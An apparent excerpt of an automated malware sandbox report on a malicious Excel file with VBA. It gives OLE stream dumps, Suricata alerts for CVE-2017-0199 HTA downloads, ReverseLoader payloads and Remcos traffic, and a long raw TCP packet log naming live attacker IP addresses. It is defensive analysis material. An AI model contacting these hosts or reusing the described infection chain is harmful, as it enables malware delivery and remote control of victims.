                                                                                                                                                                                                Data Raw:54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00
                                                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:2644
                                                                                                                                                                                                Entropy:3.9858479304078216
                                                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                                                Data ASCII:a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
                                                                                                                                                                                                Data Raw:cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00
                                                                                                                                                                                                Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553
                                                                                                                                                                                                General
                                                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/dir
                                                                                                                                                                                                CLSID:
                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                Stream Size:553
                                                                                                                                                                                                Entropy:6.348237384496511
                                                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                                                Data ASCII:. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . i 2 i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
                                                                                                                                                                                                Data Raw:01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 69 d7 32 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                                                                                                                                                                                                Network Behavior

                                                                                                                                                                                                Suricata IDS Alerts

                                                                                                                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                2024-10-29T16:30:33.274127+01002858795ETPRO MALWARE ReverseLoader Payload Request (GET) M21192.168.2.2249167192.3.101.2180TCP
                                                                                                                                                                                                2024-10-29T16:30:35.516390+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.2249164192.3.101.2180TCP
                                                                                                                                                                                                2024-10-29T16:30:35.516391+01002024197ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)1192.3.101.2180192.168.2.2249164TCP
                                                                                                                                                                                                2024-10-29T16:30:38.683159+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.2249166192.3.101.2180TCP
                                                                                                                                                                                                2024-10-29T16:30:38.683171+01002024197ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)1192.3.101.2180192.168.2.2249166TCP
                                                                                                                                                                                                2024-10-29T16:31:02.126037+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.2249171192.3.101.2180TCP
                                                                                                                                                                                                2024-10-29T16:31:07.991764+01002858795ETPRO MALWARE ReverseLoader Payload Request (GET) M21192.168.2.2249172192.3.101.2180TCP
                                                                                                                                                                                                2024-10-29T16:31:29.220187+01002049038ET MALWARE ReverseLoader Reverse Base64 Loader In Image M21172.217.16.193443192.168.2.2249174TCP
                                                                                                                                                                                                2024-10-29T16:31:41.296245+01002020423ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound1192.3.101.2180192.168.2.2249175TCP
                                                                                                                                                                                                2024-10-29T16:31:41.296245+01002020425ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M21192.3.101.2180192.168.2.2249175TCP
                                                                                                                                                                                                2024-10-29T16:31:44.765958+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)1192.3.101.2180192.168.2.2249175TCP
                                                                                                                                                                                                2024-10-29T16:31:52.711829+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249176192.3.101.1939674TCP
                                                                                                                                                                                                2024-10-29T16:31:53.859181+01002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.2249177192.3.101.1939674TCP
                                                                                                                                                                                                2024-10-29T16:31:54.063789+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.2249178178.237.33.5080TCP

                                                                                                                                                                                                Network Port Distribution

                                                                                                                                                                                                TCP Packets

                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                Oct 29, 2024 16:30:33.291166067 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:33.291239023 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:33.291306019 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:33.296197891 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:33.296231031 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:33.953470945 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:33.953663111 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:33.961026907 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:33.961054087 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:33.961623907 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:33.961690903 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:34.054064989 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:34.099328995 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:34.304894924 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:34.304971933 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:34.305001974 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:34.305035114 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:34.306533098 CET49163443192.168.2.22172.67.162.95
                                                                                                                                                                                                Oct 29, 2024 16:30:34.306555986 CET44349163172.67.162.95192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:34.316903114 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:34.322403908 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:34.322480917 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:34.322557926 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:34.328419924 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516231060 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516290903 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516304016 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516380072 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516390085 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516391039 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516403913 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516416073 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516449928 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516465902 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516488075 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516529083 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516532898 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516546965 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516561985 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516570091 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516639948 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516886950 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516933918 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.523308039 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.778573990 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.778649092 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.786843061 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.786884069 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.786900043 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.786921978 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.786938906 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787214041 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787255049 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787261963 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787271976 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787303925 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787328005 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787328959 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787347078 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.787375927 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788117886 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788135052 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788151026 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788163900 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788170099 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788187027 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788187981 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788208008 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.788223982 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789172888 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789190054 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789206982 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789213896 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789223909 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789232969 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789243937 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789251089 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789280891 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.789288998 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795031071 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795061111 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795075893 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795099020 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795124054 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795599937 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795628071 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795640945 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795650005 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795665026 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.795686960 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796116114 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796160936 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796309948 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796349049 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796397924 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796437025 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796597958 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796652079 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796664953 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796705008 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796936989 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.796981096 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.797283888 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.797326088 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.797812939 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.797862053 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.797909975 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.797972918 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.798036098 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.798075914 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.798134089 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.798177958 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.798358917 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.798427105 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800488949 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800534010 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800549984 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800590992 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800667048 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800683975 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800708055 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800724030 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800796986 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800813913 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800837040 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.800856113 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801275015 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801315069 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801388979 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801429033 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801628113 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801667929 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801670074 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801707983 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801920891 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.801955938 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802043915 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802083969 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802301884 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802318096 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802345037 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802361965 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802639008 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802654982 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802681923 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.802700996 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810039997 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810058117 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810067892 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810076952 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810117960 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810127974 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810197115 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810213089 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810225964 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810245037 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:35.810262918 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:36.859477997 CET8049164192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:36.859530926 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:36.867096901 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:36.867122889 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:36.867178917 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:36.870479107 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:36.870495081 CET4916480192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:36.877520084 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:36.877536058 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.490145922 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.490269899 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.495276928 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.495287895 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.495640039 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.495692015 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.564985037 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.611327887 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.985769987 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.985822916 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.985837936 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.985848904 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.985874891 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.985892057 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.987246037 CET49165443192.168.2.22104.21.74.191
                                                                                                                                                                                                Oct 29, 2024 16:30:37.987258911 CET44349165104.21.74.191192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:37.999064922 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.004766941 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.004842997 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.005007982 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.012517929 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683048010 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683108091 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683118105 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683135986 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683146954 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683157921 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683159113 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683171034 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683183908 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683187962 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683187962 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683204889 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683216095 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683319092 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683373928 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683403969 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.683444977 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688646078 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688684940 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688702106 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688724995 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688834906 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688884974 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688913107 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.688957930 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.690068007 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808491945 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808505058 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808517933 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808540106 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808557034 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808691978 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808703899 CET8049166192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808727980 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808737993 CET4916680192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:30:38.808938980 CET8049166192.3.101.21192.168.2.22
